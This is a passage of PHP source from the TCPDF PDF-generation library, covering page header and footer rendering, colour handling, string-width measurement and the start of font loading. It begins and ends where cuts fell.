} /** * Set footer margin. * (minimum distance between footer and bottom page margin) * @param $fm (int) distance in user units * @public */ public function setFooterMargin($fm=10) { $this->footer_margin = $fm; } /** * Returns footer margin in user units. * @return float * @since 4.0.012 (2008-07-24) * @public */ public function getFooterMargin() { return $this->footer_margin; } /** * Set a flag to print page header. * @param $val (boolean) set to true to print the page header (default), false otherwise. * @public */ public function setPrintHeader($val=true) { $this->print_header = $val ? true : false; } /** * Set a flag to print page footer. * @param $val (boolean) set to true to print the page footer (default), false otherwise. * @public */ public function setPrintFooter($val=true) { $this->print_footer = $val ? true : false; } /** * Return the right-bottom (or left-bottom for RTL) corner X coordinate of last inserted image * @return float * @public */ public function getImageRBX() { return $this->img_rb_x; } /** * Return the right-bottom (or left-bottom for RTL) corner Y coordinate of last inserted image * @return float * @public */ public function getImageRBY() { return $this->img_rb_y; } /** * Reset the xobject template used by Header() method. * @public */ public function resetHeaderTemplate() { $this->header_xobjid = -1; } /** * Set a flag to automatically reset the xobject template used by Header() method at each page. * @param $val (boolean) set to true to reset Header xobject template at each page, false otherwise. * @public */ public function setHeaderTemplateAutoreset($val=true) { $this->header_xobj_autoreset = $val ? true : false; } /** * This method is used to render the page header. * It is automatically called by AddPage() and could be overwritten in your own inherited class. * @public */ public function Header() { if ($this->header_xobjid < 0) { // start a new XObject Template $this->header_xobjid = $this->startTemplate($this->w, $this->tMargin); $headerfont = $this->getHeaderFont(); $headerdata = $this->getHeaderData(); $this->y = $this->header_margin; if ($this->rtl) { $this->x = $this->w - $this->original_rMargin; } else { $this->x = $this->original_lMargin; } if (($headerdata['logo']) AND ($headerdata['logo'] != K_BLANK_IMAGE)) { $imgtype = $this->getImageFileType(K_PATH_IMAGES.$headerdata['logo']); if (($imgtype == 'eps') OR ($imgtype == 'ai')) { $this->ImageEps(K_PATH_IMAGES.$headerdata['logo'], '', '', $headerdata['logo_width']); } elseif ($imgtype == 'svg') { $this->ImageSVG(K_PATH_IMAGES.$headerdata['logo'], '', '', $headerdata['logo_width']); } else { $this->Image(K_PATH_IMAGES.$headerdata['logo'], '', '', $headerdata['logo_width']); } $imgy = $this->getImageRBY(); } else { $imgy = $this->y; } $cell_height = round(($this->cell_height_ratio * $headerfont[2]) / $this->k, 2); // set starting margin for text data cell if ($this->getRTL()) { $header_x = $this->original_rMargin + ($headerdata['logo_width'] * 1.1); } else { $header_x = $this->original_lMargin + ($headerdata['logo_width'] * 1.1); } $cw = $this->w - $this->original_lMargin - $this->original_rMargin - ($headerdata['logo_width'] * 1.1); $this->SetTextColorArray($this->header_text_color); // header title $this->SetFont($headerfont[0], 'B', $headerfont[2] + 1); $this->SetX($header_x); $this->Cell($cw, $cell_height, $headerdata['title'], 0, 1, '', 0, '', 0); // header string $this->SetFont($headerfont[0], $headerfont[1], $headerfont[2]); $this->SetX($header_x); $this->MultiCell($cw, $cell_height, $headerdata['string'], 0, '', 0, 1, '', '', true, 0, false, true, 0, 'T', false); // print an ending header line $this->SetLineStyle(array('width' => 0.85 / $this->k, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => $headerdata['line_color'])); $this->SetY((2.835 / $this->k) + max($imgy, $this->y)); if ($this->rtl) { $this->SetX($this->original_rMargin); } else { $this->SetX($this->original_lMargin); } $this->Cell(($this->w - $this->original_lMargin - $this->original_rMargin), 0, '', 'T', 0, 'C'); $this->endTemplate(); } // print header template $x = 0; $dx = 0; if (!$this->header_xobj_autoreset AND $this->booklet AND (($this->page % 2) == 0)) { // adjust margins for booklet mode $dx = ($this->original_lMargin - $this->original_rMargin); } if ($this->rtl) { $x = $this->w + $dx; } else { $x = 0 + $dx; } $this->printTemplate($this->header_xobjid, $x, 0, 0, 0, '', '', false); if ($this->header_xobj_autoreset) { // reset header xobject template at each page $this->header_xobjid = -1; } } /** * This method is used to render the page footer. * It is automatically called by AddPage() and could be overwritten in your own inherited class. * @public */ public function Footer() { $cur_y = $this->y; $this->SetTextColorArray($this->footer_text_color); //set style for cell border $line_width = (0.85 / $this->k); $this->SetLineStyle(array('width' => $line_width, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => $this->footer_line_color)); //print document barcode $barcode = $this->getBarcode(); if (!empty($barcode)) { $this->Ln($line_width); $barcode_width = round(($this->w - $this->original_lMargin - $this->original_rMargin) / 3); $style = array( 'position' => $this->rtl?'R':'L', 'align' => $this->rtl?'R':'L', 'stretch' => false, 'fitwidth' => true, 'cellfitalign' => '', 'border' => false, 'padding' => 0, 'fgcolor' => array(0,0,0), 'bgcolor' => false, 'text' => false ); $this->write1DBarcode($barcode, 'C128', '', $cur_y + $line_width, '', (($this->footer_margin / 3) - $line_width), 0.3, $style, ''); } $w_page = isset($this->l['w_page']) ? $this->l['w_page'].' ' : ''; if (empty($this->pagegroups)) { $pagenumtxt = $w_page.$this->getAliasNumPage().' / '.$this->getAliasNbPages(); } else { $pagenumtxt = $w_page.$this->getPageNumGroupAlias().' / '.$this->getPageGroupAlias(); } $this->SetY($cur_y); //Print page number if ($this->getRTL()) { $this->SetX($this->original_rMargin); $this->Cell(0, 0, $pagenumtxt, 'T', 0, 'L'); } else { $this->SetX($this->original_lMargin); $this->Cell(0, 0, $this->getAliasRightShift().$pagenumtxt, 'T', 0, 'R'); } } /** * This method is used to render the page header. * @protected * @since 4.0.012 (2008-07-24) */ protected function setHeader() { if (!$this->print_header OR ($this->state != 2)) { return; } $this->InHeader = true; $this->setGraphicVars($this->default_graphic_vars); $temp_thead = $this->thead; $temp_theadMargins = $this->theadMargins; $lasth = $this->lasth; $this->_out('q'); $this->rMargin = $this->original_rMargin; $this->lMargin = $this->original_lMargin; $this->SetCellPadding(0); //set current position if ($this->rtl) { $this->SetXY($this->original_rMargin, $this->header_margin); } else { $this->SetXY($this->original_lMargin, $this->header_margin); } $this->SetFont($this->header_font[0], $this->header_font[1], $this->header_font[2]); $this->Header(); //restore position if ($this->rtl) { $this->SetXY($this->original_rMargin, $this->tMargin); } else { $this->SetXY($this->original_lMargin, $this->tMargin); } $this->_out('Q'); $this->lasth = $lasth; $this->thead = $temp_thead; $this->theadMargins = $temp_theadMargins; $this->newline = false; $this->InHeader = false; } /** * This method is used to render the page footer. * @protected * @since 4.0.012 (2008-07-24) */ protected function setFooter() { if ($this->state != 2) { return; } $this->InFooter = true; // save current graphic settings $gvars = $this->getGraphicVars(); // mark this point $this->footerpos[$this->page] = $this->pagelen[$this->page]; $this->_out("\n"); if ($this->print_footer) { $this->setGraphicVars($this->default_graphic_vars); $this->current_column = 0; $this->num_columns = 1; $temp_thead = $this->thead; $temp_theadMargins = $this->theadMargins; $lasth = $this->lasth; $this->_out('q'); $this->rMargin = $this->original_rMargin; $this->lMargin = $this->original_lMargin; $this->SetCellPadding(0); //set current position $footer_y = $this->h - $this->footer_margin; if ($this->rtl) { $this->SetXY($this->original_rMargin, $footer_y); } else { $this->SetXY($this->original_lMargin, $footer_y); } $this->SetFont($this->footer_font[0], $this->footer_font[1], $this->footer_font[2]); $this->Footer(); //restore position if ($this->rtl) { $this->SetXY($this->original_rMargin, $this->tMargin); } else { $this->SetXY($this->original_lMargin, $this->tMargin); } $this->_out('Q'); $this->lasth = $lasth; $this->thead = $temp_thead; $this->theadMargins = $temp_theadMargins; } // restore graphic settings $this->setGraphicVars($gvars); $this->current_column = $gvars['current_column']; $this->num_columns = $gvars['num_columns']; // calculate footer length $this->footerlen[$this->page] = $this->pagelen[$this->page] - $this->footerpos[$this->page] + 1; $this->InFooter = false; } /** * Check if we are on the page body (excluding page header and footer). * @return true if we are not in page header nor in page footer, false otherwise. * @protected * @since 5.9.091 (2011-06-15) */ protected function inPageBody() { return (($this->InHeader === false) AND ($this->InFooter === false)); } /** * This method is used to render the table header on new page (if any). * @protected * @since 4.5.030 (2009-03-25) */ protected function setTableHeader() { if ($this->num_columns > 1) { // multi column mode return; } if (isset($this->theadMargins['top'])) { // restore the original top-margin $this->tMargin = $this->theadMargins['top']; $this->pagedim[$this->page]['tm'] = $this->tMargin; $this->y = $this->tMargin; } if (!$this->empty_string($this->thead) AND (!$this->inthead)) { // set margins $prev_lMargin = $this->lMargin; $prev_rMargin = $this->rMargin; $prev_cell_padding = $this->cell_padding; $this->lMargin = $this->theadMargins['lmargin'] + ($this->pagedim[$this->page]['olm'] - $this->pagedim[$this->theadMargins['page']]['olm']); $this->rMargin = $this->theadMargins['rmargin'] + ($this->pagedim[$this->page]['orm'] - $this->pagedim[$this->theadMargins['page']]['orm']); $this->cell_padding = $this->theadMargins['cell_padding']; if ($this->rtl) { $this->x = $this->w - $this->rMargin; } else { $this->x = $this->lMargin; } // account for special "cell" mode if ($this->theadMargins['cell']) { if ($this->rtl) { $this->x -= $this->cell_padding['R']; } else { $this->x += $this->cell_padding['L']; } } // print table header $this->writeHTML($this->thead, false, false, false, false, ''); // set new top margin to skip the table headers if (!isset($this->theadMargins['top'])) { $this->theadMargins['top'] = $this->tMargin; } // store end of header position if (!isset($this->columns[0]['th'])) { $this->columns[0]['th'] = array(); } $this->columns[0]['th']['\''.$this->page.'\''] = $this->y; $this->tMargin = $this->y; $this->pagedim[$this->page]['tm'] = $this->tMargin; $this->lasth = 0; $this->lMargin = $prev_lMargin; $this->rMargin = $prev_rMargin; $this->cell_padding = $prev_cell_padding; } } /** * Returns the current page number. * @return int page number * @public * @since 1.0 * @see getAliasNbPages() */ public function PageNo() { return $this->page; } /** * Defines a new spot color. * It can be expressed in RGB components or gray scale. * The method can be called before the first page is created and the value is retained from page to page. * @param $name (string) Full name of the spot color. * @param $c (float) Cyan color for CMYK. Value between 0 and 100. * @param $m (float) Magenta color for CMYK. Value between 0 and 100. * @param $y (float) Yellow color for CMYK. Value between 0 and 100. * @param $k (float) Key (Black) color for CMYK. Value between 0 and 100. * @public * @since 4.0.024 (2008-09-12) * @see SetDrawSpotColor(), SetFillSpotColor(), SetTextSpotColor() */ public function AddSpotColor($name, $c, $m, $y, $k) { if (!isset($this->spot_colors[$name])) { $i = (1 + count($this->spot_colors)); $this->spot_colors[$name] = array('C' => $c, 'M' => $m, 'Y' => $y, 'K' => $k, 'name' => $name, 'i' => $i); } } /** * Return the Spot color array. * @param $name (string) Name of the spot color. * @return (array) Spot color array or false if not defined. * @public * @since 5.9.125 (2011-10-03) */ public function getSpotColor($name) { if (isset($this->spot_colors[$name])) { return $this->spot_colors[$name]; } $color = preg_replace('/[\s]*/', '', $name); // remove extra spaces $color = strtolower($color); if (isset($this->spotcolor[$color])) { $this->AddSpotColor($this->spotcolor[$color][4], $this->spotcolor[$color][0], $this->spotcolor[$color][1], $this->spotcolor[$color][2], $this->spotcolor[$color][3]); return $this->spot_colors[$this->spotcolor[$color][4]]; } return false; } /** * Set the spot color for the specified type ('draw', 'fill', 'text'). * @param $type (string) Type of object affected by this color: ('draw', 'fill', 'text'). * @param $name (string) Name of the spot color. * @param $tint (float) Intensity of the color (from 0 to 100 ; 100 = full intensity by default). * @return (string) PDF color command. * @public * @since 5.9.125 (2011-10-03) */ public function setSpotColor($type, $name, $tint=100) { $spotcolor = $this->getSpotColor($name); if ($spotcolor === false) { $this->Error('Undefined spot color: '.$name.', you must add it on the spotcolors.php file.'); } $tint = (max(0, min(100, $tint)) / 100); $pdfcolor = sprintf('/CS%d ', $this->spot_colors[$name]['i']); switch ($type) { case 'draw': { $pdfcolor .= sprintf('CS %F SCN', $tint); $this->DrawColor = $pdfcolor; $this->strokecolor = $spotcolor; break; } case 'fill': { $pdfcolor .= sprintf('cs %F scn', $tint); $this->FillColor = $pdfcolor; $this->bgcolor = $spotcolor; break; } case 'text': { $pdfcolor .= sprintf('cs %F scn', $tint); $this->TextColor = $pdfcolor; $this->fgcolor = $spotcolor; break; } } $this->ColorFlag = ($this->FillColor != $this->TextColor); if ($this->state == 2) { $this->_out($pdfcolor); } if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['spot_colors'][$name] = $this->spot_colors[$name]; } return $pdfcolor; } /** * Defines the spot color used for all drawing operations (lines, rectangles and cell borders). * @param $name (string) Name of the spot color. * @param $tint (float) Intensity of the color (from 0 to 100 ; 100 = full intensity by default). * @public * @since 4.0.024 (2008-09-12) * @see AddSpotColor(), SetFillSpotColor(), SetTextSpotColor() */ public function SetDrawSpotColor($name, $tint=100) { $this->setSpotColor('draw', $name, $tint); } /** * Defines the spot color used for all filling operations (filled rectangles and cell backgrounds). * @param $name (string) Name of the spot color. * @param $tint (float) Intensity of the color (from 0 to 100 ; 100 = full intensity by default). * @public * @since 4.0.024 (2008-09-12) * @see AddSpotColor(), SetDrawSpotColor(), SetTextSpotColor() */ public function SetFillSpotColor($name, $tint=100) { $this->setSpotColor('fill', $name, $tint); } /** * Defines the spot color used for text. * @param $name (string) Name of the spot color. * @param $tint (int) Intensity of the color (from 0 to 100 ; 100 = full intensity by default). * @public * @since 4.0.024 (2008-09-12) * @see AddSpotColor(), SetDrawSpotColor(), SetFillSpotColor() */ public function SetTextSpotColor($name, $tint=100) { $this->setSpotColor('text', $name, $tint); } /** * Set the color array for the specified type ('draw', 'fill', 'text'). * It can be expressed in RGB, CMYK or GRAY SCALE components. * The method can be called before the first page is created and the value is retained from page to page. * @param $type (string) Type of object affected by this color: ('draw', 'fill', 'text'). * @param $color (array) Array of colors (1=gray, 3=RGB, 4=CMYK or 5=spotcolor=CMYK+name values). * @param $ret (boolean) If true do not send the PDF command. * @return (string) The PDF command or empty string. * @public * @since 3.1.000 (2008-06-11) */ public function setColorArray($type, $color, $ret=false) { if (is_array($color)) { $color = array_values($color); // component: grey, RGB red or CMYK cyan $c = isset($color[0]) ? $color[0] : -1; // component: RGB green or CMYK magenta $m = isset($color[1]) ? $color[1] : -1; // component: RGB blue or CMYK yellow $y = isset($color[2]) ? $color[2] : -1; // component: CMYK black $k = isset($color[3]) ? $color[3] : -1; // color name $name = isset($color[4]) ? $color[4] : ''; if ($c >= 0) { return $this->setColor($type, $c, $m, $y, $k, $ret, $name); } } return ''; } /** * Defines the color used for all drawing operations (lines, rectangles and cell borders). * It can be expressed in RGB, CMYK or GRAY SCALE components. * The method can be called before the first page is created and the value is retained from page to page. * @param $color (array) Array of colors (1, 3 or 4 values). * @param $ret (boolean) If true do not send the PDF command. * @return string the PDF command * @public * @since 3.1.000 (2008-06-11) * @see SetDrawColor() */ public function SetDrawColorArray($color, $ret=false) { return $this->setColorArray('draw', $color, $ret); } /** * Defines the color used for all filling operations (filled rectangles and cell backgrounds). * It can be expressed in RGB, CMYK or GRAY SCALE components. * The method can be called before the first page is created and the value is retained from page to page. * @param $color (array) Array of colors (1, 3 or 4 values). * @param $ret (boolean) If true do not send the PDF command. * @public * @since 3.1.000 (2008-6-11) * @see SetFillColor() */ public function SetFillColorArray($color, $ret=false) { return $this->setColorArray('fill', $color, $ret); } /** * Defines the color used for text. It can be expressed in RGB components or gray scale. * The method can be called before the first page is created and the value is retained from page to page. * @param $color (array) Array of colors (1, 3 or 4 values). * @param $ret (boolean) If true do not send the PDF command. * @public * @since 3.1.000 (2008-6-11) * @see SetFillColor() */ public function SetTextColorArray($color, $ret=false) { return $this->setColorArray('text', $color, $ret); } /** * Defines the color used by the specified type ('draw', 'fill', 'text'). * @param $type (string) Type of object affected by this color: ('draw', 'fill', 'text'). * @param $col1 (float) GRAY level for single color, or Red color for RGB (0-255), or CYAN color for CMYK (0-100). * @param $col2 (float) GREEN color for RGB (0-255), or MAGENTA color for CMYK (0-100). * @param $col3 (float) BLUE color for RGB (0-255), or YELLOW color for CMYK (0-100). * @param $col4 (float) KEY (BLACK) color for CMYK (0-100). * @param $ret (boolean) If true do not send the command. * @param $name (string) spot color name (if any) * @return (string) The PDF command or empty string. * @public * @since 5.9.125 (2011-10-03) */ public function setColor($type, $col1=0, $col2=-1, $col3=-1, $col4=-1, $ret=false, $name='') { // set default values if (!is_numeric($col1)) { $col1 = 0; } if (!is_numeric($col2)) { $col2 = -1; } if (!is_numeric($col3)) { $col3 = -1; } if (!is_numeric($col4)) { $col4 = -1; } // set color by case $suffix = ''; if (($col2 == -1) AND ($col3 == -1) AND ($col4 == -1)) { // Grey scale $col1 = max(0, min(255, $col1)); $intcolor = array('G' => $col1); $pdfcolor = sprintf('%F ', ($col1 / 255)); $suffix = 'g'; } elseif ($col4 == -1) { // RGB $col1 = max(0, min(255, $col1)); $col2 = max(0, min(255, $col2)); $col3 = max(0, min(255, $col3)); $intcolor = array('R' => $col1, 'G' => $col2, 'B' => $col3); $pdfcolor = sprintf('%F %F %F ', ($col1 / 255), ($col2 / 255), ($col3 / 255)); $suffix = 'rg'; } else { $col1 = max(0, min(100, $col1)); $col2 = max(0, min(100, $col2)); $col3 = max(0, min(100, $col3)); $col4 = max(0, min(100, $col4)); if (empty($name)) { // CMYK $intcolor = array('C' => $col1, 'M' => $col2, 'Y' => $col3, 'K' => $col4); $pdfcolor = sprintf('%F %F %F %F ', ($col1 / 100), ($col2 / 100), ($col3 / 100), ($col4 / 100)); $suffix = 'k'; } else { // SPOT COLOR $intcolor = array('C' => $col1, 'M' => $col2, 'Y' => $col3, 'K' => $col4, 'name' => $name); $this->AddSpotColor($name, $col1, $col2, $col3, $col4); $pdfcolor = $this->setSpotColor($type, $name, 100); } } switch ($type) { case 'draw': { $pdfcolor .= strtoupper($suffix); $this->DrawColor = $pdfcolor; $this->strokecolor = $intcolor; break; } case 'fill': { $pdfcolor .= $suffix; $this->FillColor = $pdfcolor; $this->bgcolor = $intcolor; break; } case 'text': { $pdfcolor .= $suffix; $this->TextColor = $pdfcolor; $this->fgcolor = $intcolor; break; } } $this->ColorFlag = ($this->FillColor != $this->TextColor); if (($type != 'text') AND ($this->state == 2)) { if (!$ret) { $this->_out($pdfcolor); } return $pdfcolor; } return ''; } /** * Convert a color array into a string representation. * @param $c (array) Array of colors. * @return (string) The color array representation. * @protected * @since 5.9.137 (2011-12-01) */ protected function getColorStringFromArray($c) { $c = array_values($c); $color = '['; switch (count($c)) { case 4: { // CMYK $color .= sprintf('%F %F %F %F', (max(0, min(100, floatval($c[0]))) / 100), (max(0, min(100, floatval($c[1]))) / 100), (max(0, min(100, floatval($c[2]))) / 100), (max(0, min(100, floatval($c[3]))) / 100)); break; } case 3: { // RGB $color .= sprintf('%F %F %F', (max(0, min(255, floatval($c[0]))) / 255), (max(0, min(255, floatval($c[1]))) / 255), (max(0, min(255, floatval($c[2]))) / 255)); break; } case 1: { // grayscale $color .= sprintf('%F', (max(0, min(255, floatval($c[0]))) / 255)); break; } } $color .= ']'; return $color; } /** * Defines the color used for all drawing operations (lines, rectangles and cell borders). It can be expressed in RGB components or gray scale. The method can be called before the first page is created and the value is retained from page to page. * @param $col1 (float) GRAY level for single color, or Red color for RGB (0-255), or CYAN color for CMYK (0-100). * @param $col2 (float) GREEN color for RGB (0-255), or MAGENTA color for CMYK (0-100). * @param $col3 (float) BLUE color for RGB (0-255), or YELLOW color for CMYK (0-100). * @param $col4 (float) KEY (BLACK) color for CMYK (0-100). * @param $ret (boolean) If true do not send the command. * @param $name (string) spot color name (if any) * @return string the PDF command * @public * @since 1.3 * @see SetDrawColorArray(), SetFillColor(), SetTextColor(), Line(), Rect(), Cell(), MultiCell() */ public function SetDrawColor($col1=0, $col2=-1, $col3=-1, $col4=-1, $ret=false, $name='') { return $this->setColor('draw', $col1, $col2, $col3, $col4, $ret, $name); } /** * Defines the color used for all filling operations (filled rectangles and cell backgrounds). It can be expressed in RGB components or gray scale. The method can be called before the first page is created and the value is retained from page to page. * @param $col1 (float) GRAY level for single color, or Red color for RGB (0-255), or CYAN color for CMYK (0-100). * @param $col2 (float) GREEN color for RGB (0-255), or MAGENTA color for CMYK (0-100). * @param $col3 (float) BLUE color for RGB (0-255), or YELLOW color for CMYK (0-100). * @param $col4 (float) KEY (BLACK) color for CMYK (0-100). * @param $ret (boolean) If true do not send the command. * @param $name (string) Spot color name (if any). * @return (string) The PDF command. * @public * @since 1.3 * @see SetFillColorArray(), SetDrawColor(), SetTextColor(), Rect(), Cell(), MultiCell() */ public function SetFillColor($col1=0, $col2=-1, $col3=-1, $col4=-1, $ret=false, $name='') { return $this->setColor('fill', $col1, $col2, $col3, $col4, $ret, $name); } /** * Defines the color used for text. It can be expressed in RGB components or gray scale. The method can be called before the first page is created and the value is retained from page to page. * @param $col1 (float) GRAY level for single color, or Red color for RGB (0-255), or CYAN color for CMYK (0-100). * @param $col2 (float) GREEN color for RGB (0-255), or MAGENTA color for CMYK (0-100). * @param $col3 (float) BLUE color for RGB (0-255), or YELLOW color for CMYK (0-100). * @param $col4 (float) KEY (BLACK) color for CMYK (0-100). * @param $ret (boolean) If true do not send the command. * @param $name (string) Spot color name (if any). * @return (string) Empty string. * @public * @since 1.3 * @see SetTextColorArray(), SetDrawColor(), SetFillColor(), Text(), Cell(), MultiCell() */ public function SetTextColor($col1=0, $col2=-1, $col3=-1, $col4=-1, $ret=false, $name='') { return $this->setColor('text', $col1, $col2, $col3, $col4, $ret, $name); } /** * Returns the length of a string in user unit. A font must be selected.<br> * @param $s (string) The string whose length is to be computed * @param $fontname (string) Family font. It can be either a name defined by AddFont() or one of the standard families. It is also possible to pass an empty string, in that case, the current family is retained. * @param $fontstyle (string) Font style. Possible values are (case insensitive):<ul><li>empty string: regular</li><li>B: bold</li><li>I: italic</li><li>U: underline</li><li>D: line-trough</li><li>O: overline</li></ul> or any combination. The default value is regular. * @param $fontsize (float) Font size in points. The default value is the current size. * @param $getarray (boolean) if true returns an array of characters widths, if false returns the total length. * @return mixed int total string length or array of characted widths * @author Nicola Asuni * @public * @since 1.2 */ public function GetStringWidth($s, $fontname='', $fontstyle='', $fontsize=0, $getarray=false) { return $this->GetArrStringWidth($this->utf8Bidi($this->UTF8StringToArray($s), $s, $this->tmprtl), $fontname, $fontstyle, $fontsize, $getarray); } /** * Returns the string length of an array of chars in user unit or an array of characters widths. A font must be selected.<br> * @param $sa (string) The array of chars whose total length is to be computed * @param $fontname (string) Family font. It can be either a name defined by AddFont() or one of the standard families. It is also possible to pass an empty string, in that case, the current family is retained. * @param $fontstyle (string) Font style. Possible values are (case insensitive):<ul><li>empty string: regular</li><li>B: bold</li><li>I: italic</li><li>U: underline</li><li>D: line trough</li><li>O: overline</li></ul> or any combination. The default value is regular. * @param $fontsize (float) Font size in points. The default value is the current size. * @param $getarray (boolean) if true returns an array of characters widths, if false returns the total length. * @return mixed int total string length or array of characted widths * @author Nicola Asuni * @public * @since 2.4.000 (2008-03-06) */ public function GetArrStringWidth($sa, $fontname='', $fontstyle='', $fontsize=0, $getarray=false) { // store current values if (!$this->empty_string($fontname)) { $prev_FontFamily = $this->FontFamily; $prev_FontStyle = $this->FontStyle; $prev_FontSizePt = $this->FontSizePt; $this->SetFont($fontname, $fontstyle, $fontsize, '', 'default', false); } // convert UTF-8 array to Latin1 if required $sa = $this->UTF8ArrToLatin1($sa); $w = 0; // total width $wa = array(); // array of characters widths foreach ($sa as $ck => $char) { // character width $cw = $this->GetCharWidth($char, isset($sa[($ck + 1)])); $wa[] = $cw; $w += $cw; } // restore previous values if (!$this->empty_string($fontname)) { $this->SetFont($prev_FontFamily, $prev_FontStyle, $prev_FontSizePt, '', 'default', false); } if ($getarray) { return $wa; } return $w; } /** * Returns the length of the char in user unit for the current font considering current stretching and spacing (tracking). * @param $char (int) The char code whose length is to be returned * @param $notlast (boolean) If false ignore the font-spacing. * @return float char width * @author Nicola Asuni * @public * @since 2.4.000 (2008-03-06) */ public function GetCharWidth($char, $notlast=true) { // get raw width $chw = $this->getRawCharWidth($char); if (($this->font_spacing < 0) OR (($this->font_spacing > 0) AND $notlast)) { // increase/decrease font spacing $chw += $this->font_spacing; } if ($this->font_stretching != 100) { // fixed stretching mode $chw *= ($this->font_stretching / 100); } return $chw; } /** * Returns the length of the char in user unit for the current font. * @param $char (int) The char code whose length is to be returned * @return float char width * @author Nicola Asuni * @public * @since 5.9.000 (2010-09-28) */ public function getRawCharWidth($char) { if ($char == 173) { // SHY character will not be printed return (0); } if (isset($this->CurrentFont['cw'][$char])) { $w = $this->CurrentFont['cw'][$char]; } elseif (isset($this->CurrentFont['dw'])) { // default width $w = $this->CurrentFont['dw']; } elseif (isset($this->CurrentFont['cw'][32])) { // default width $w = $this->CurrentFont['cw'][32]; } else { $w = 600; } return $this->getAbsFontMeasure($w); } /** * Returns the numbero of characters in a string. * @param $s (string) The input string. * @return int number of characters * @public * @since 2.0.0001 (2008-01-07) */ public function GetNumChars($s) { if ($this->isUnicodeFont()) { return count($this->UTF8StringToArray($s)); } return strlen($s); } /** * Fill the list of available fonts ($this->fontlist). * @protected * @since 4.0.013 (2008-07-28) */ protected function getFontsList() { $fontsdir = opendir($this->_getfontpath()); while (($file = readdir($fontsdir)) !== false) { if (substr($file, -4) == '.php') { array_push($this->fontlist, strtolower(basename($file, '.php'))); } } closedir($fontsdir); } /** * Imports a TrueType, Type1, core, or CID0 font and makes it available. * It is necessary to generate a font definition file first (read /fonts/utils/README.TXT). * The definition file (and the font file itself when embedding) must be present either in the current directory or in the one indicated by K_PATH_FONTS if the constant is defined. If it could not be found, the error "Could not include font definition file" is generated. * @param $family (string) Font family. The name can be chosen arbitrarily. If it is a standard family name, it will override the corresponding font. * @param $style (string) Font style. Possible values are (case insensitive):<ul><li>empty string: regular (default)</li><li>B: bold</li><li>I: italic</li><li>BI or IB: bold italic</li></ul> * @param $fontfile (string) The font definition file. By default, the name is built from the family and style, in lower case with no spaces. * @return array containing the font data, or false in case of error. * @param $subset (mixed) if true embedd only a subset of the font (stores only the information related to the used characters); if false embedd full font; if 'default' uses the default value set using setFontSubsetting(). This option is valid only for TrueTypeUnicode fonts. If you want to enable users to change the document, set this parameter to false. If you subset the font, the person who receives your PDF would need to have your same font in order to make changes to your PDF. The file size of the PDF would also be smaller because you are embedding only part of a font. * @public * @since 1.5 * @see SetFont(), setFontSubsetting() */ public function AddFont($family, $style='', $fontfile='', $subset='default') { if ($subset === 'default') { $subset = $this->font_subsetting; } if ($this->pdfa_mode) { $subset = false; } if ($this->empty_string($family)) { if (!$this->empty_string($this->FontFamily)) { $family = $this->FontFamily; } else { $this->Error('Empty font family'); } } // move embedded styles on $style if (substr($family, -1) == 'I') { $style .= 'I'; $family = substr($family, 0, -1); } if (substr($family, -1) == 'B') { $style .= 'B'; $family = substr($family, 0, -1); } // normalize family name $family = strtolower($family); if ((!$this->isunicode) AND ($family == 'arial')) { $family = 'helvetica'; } if (($family == 'symbol') OR ($family == 'zapfdingbats')) { $style = ''; } if ($this->pdfa_mode AND (isset($this->CoreFonts[$family]))) { // all fonts must be embedded $family = 'pdfa'.$family; } $tempstyle = strtoupper($style); $style = ''; // underline if (strpos($tempstyle, 'U') !== false) { $this->underline = true; } else { $this->underline = false; } // line-through (deleted) if (strpos($tempstyle, 'D') !== false) { $this->linethrough = true; } else { $this->linethrough = false; } // overline if (strpos($tempstyle, 'O') !== false) { $this->overline = true; } else { $this->overline = false; } // bold if (strpos($tempstyle, 'B') !== false) { $style .= 'B'; } // oblique if (strpos($tempstyle, 'I') !== false) { $style .= 'I'; } $bistyle = $style; $fontkey = $family.$style; $font_style = $style.($this->underline ? 'U' : '').($this->linethrough ? 'D' : '').($this->overline ? 'O' : ''); $fontdata = array('fontkey' => $fontkey, 'family' => $family, 'style' => $font_style); // check if the font has been already added $fb = $this->getFontBuffer($fontkey); if ($fb !== false) { if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['fonts'][$fontkey] = $fb['i']; } return $fontdata; } if (isset($type)) { unset($type); } if (isset($cw)) { unset($cw); } // get specified font directory (if any) $fontdir = false; if (!$this->empty_string($fontfile)) { $fontdir = dirname($fontfile); if ($this->empty_string($fontdir) OR ($fontdir == '.')) { $fontdir = ''; } else { $fontdir .= '/'; } } $missing_style = false; // true when the font style variation is missing // search and include font file if ($this->empty_string($fontfile) OR (!file_exists($fontfile))) { // build a standard filenames for specified font $tmp_fontfile = str_replace(' ', '', $family).strtolower($style).'.php'; // search files on various directories if (($fontdir !== false) AND file_exists($fontdir.$tmp_fontfile)) { $fontfile = $fontdir.$tmp_fontfile; } elseif (file_exists($this->_getfontpath().$tmp_fontfile)) { $fontfile = $this->_getfontpath().$tmp_fontfile; } elseif (file_exists($tmp_fontfile)) { $fontfile = $tmp_fontfile; } elseif (!$this->empty_string($style)) { $missing_style = true; // try to remove the style part $tmp_fontfile = str_replace(' ', '', $family).'.php'; if (($fontdir !== false) AND file_exists($fontdir.$tmp_fontfile)) { $fontfile = $fontdir.$tmp_fontfile; } elseif (file_exists($this->_getfontpath().$tmp_fontfile)) { $fontfile = $this->_getfontpath().$tmp_fontfile; } else { $fontfile = $tmp_fontfile; } } } // include font file if (file_exists($fontfile)) { include($fontfile); } else { $this->Error('Could not include font definition file: '.$family.''); } // check font parameters if ((!isset($type)) OR (!isset($cw))) { $this->Error('The font definition file has a bad format: '.$fontfile.''); } // SET default parameters if (!isset($file) OR $this->empty_string($file)) { $file = ''; } if (!isset($enc) OR $this->empty_string($enc)) { $enc = ''; } if (!isset($cidinfo) OR $this->empty_string($cidinfo)) { $cidinfo = array('Registry'=>'Adobe', 'Ordering'=>'Identity', 'Supplement'=>0); $cidinfo['uni2cid'] = array(); } if (!isset($ctg) OR $this->empty_string($ctg)) { $ctg = ''; } if (!isset($desc) OR $this->empty_string($desc)) { $desc = array(); } if (!isset($up) OR $this->empty_string($up)) { $up = -100; } if (!isset($ut) OR $this->empty_string($ut)) { $ut = 50; } if (!isset($cw) OR $this->empty_string($cw)) { $cw = array(); } if (!isset($dw) OR $this->empty_string($dw)) { // set default width if (isset($desc['MissingWidth']) AND ($desc['MissingWidth'] > 0)) { $dw = $desc['MissingWidth']; } elseif (isset($cw[32])) { $dw = 